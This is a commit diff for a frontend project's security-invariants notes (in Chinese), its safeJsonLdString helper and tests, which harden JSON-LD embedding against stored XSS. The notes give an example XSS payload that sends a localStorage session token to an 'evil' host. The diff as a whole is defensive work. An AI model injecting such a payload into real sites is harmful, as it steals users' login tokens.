File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 11# 前端安全不变量(Security Invariants)
22
33> 这是给维护者看的代码不变量清单。
4- > 公开的 vulnerability disclosure policy 见 ` frontend/ SECURITY.md` 。
4+ > 公开的 vulnerability disclosure policy 见 ` SECURITY.md ` 。
55
66本文档登记前端代码中** 不可变更的安全保护点** 。
77每条不变量都对应一段 lint / 测试 / 代码模式,CI 应能捕获回归。
3535 - 暂时通过 grep 巡查兜底:
3636 ` rg -t tsx -t ts 'dangerouslySetInnerHTML' app/ | grep -v safeJsonLdString | grep "application/ld\\+json" `
3737 应返回 0 行。建议未来加 ESLint 自定义规则。
38- - 推荐补一个单元测试:
39- ` safeJsonLdString({bio: "</script><script>x</script>"}) `
40- 输出不能包含字面 ` </script> ` ,必须含 ` </script> ` 。
38+ - 现有单元测试见: ` tests/json-ld.test.ts `
39+ 例如 ` safeJsonLdString({bio: "</script><script>x</script>"}) `
40+ 输出不能包含字面 ` < ` 或 ` </script> ` ,并且应包含转义后的 ` \\u003c ` 序列 。
4141- ** 为什么** :` JSON.stringify ` 默认不转义 ` < ` ` > ` ` & ` ,攻击者把
4242 ` </script><script>fetch("https://evil/?t="+localStorage.getItem("satoken"))</script> `
4343 写进任何 user-generated 字段(profile bio、displayName 等)即触发 stored XSS。
Original file line number Diff line number Diff line change 11/**
22 * 把任意对象序列化为可安全嵌入 <script type="application/ld+json"> 的字符串。
33 *
4- * 安全不变量 INV-FE-001(见 frontend/ SECURITY.md):
4+ * 安全不变量 INV-FE-001(见 SECURITY.md):
55 * 所有 dangerouslySetInnerHTML={{__html: JSON.stringify(jsonLd)}} 必须改用本函数。
66 *
77 * 攻击场景:用户在可控字段(bio / displayName 等 user-generated 字段)填入
1717 * ECMAScript 源码上下文会被识别为行终止符破坏外层 JS 语法——defense-in-depth。
1818 */
1919export function safeJsonLdString ( payload : unknown ) : string {
20- return JSON . stringify ( payload )
20+ let serialized : string | undefined ;
21+
22+ try {
23+ serialized = JSON . stringify ( payload ) ;
24+ } catch {
25+ serialized = "null" ;
26+ }
27+
28+ return ( serialized ?? "null" )
2129 . replace ( / < / g, "\\u003c" )
2230 . replace ( / > / g, "\\u003e" )
2331 . replace ( / & / g, "\\u0026" )
Original file line number Diff line number Diff line change 77 *
88 * JSON.stringify 默认输出原文,浏览器看到 `</script>` 就闭合 script block,
99 * 接着把后续 `<script>` 当 inline JS 执行——典型 stored XSS。
10- * safeJsonLdString 把所有 `<` 转成字面 6 字符 `<`,浏览器看不到 `<`。
10+ * safeJsonLdString 把所有 `<` 转成字面 6 字符 `\u003c`,浏览器看不到原始 `<`。
1111 */
1212import { describe , expect , test } from "vitest" ;
1313import { safeJsonLdString } from "../lib/json-ld" ;
@@ -37,7 +37,7 @@ describe("safeJsonLdString", () => {
3737 const out = safeJsonLdString ( { field : "a<b>c&d" } ) ;
3838 expect ( out ) . not . toContain ( "<" ) ;
3939 expect ( out ) . not . toContain ( ">" ) ;
40- // & 也应该被转义为 &
40+ // & 也应该被转义为字面 `\\u0026`
4141 expect ( out ) . toContain ( "\\u0026" ) ;
4242 } ) ;
4343
You can’t perform that action at this time.
0 commit comments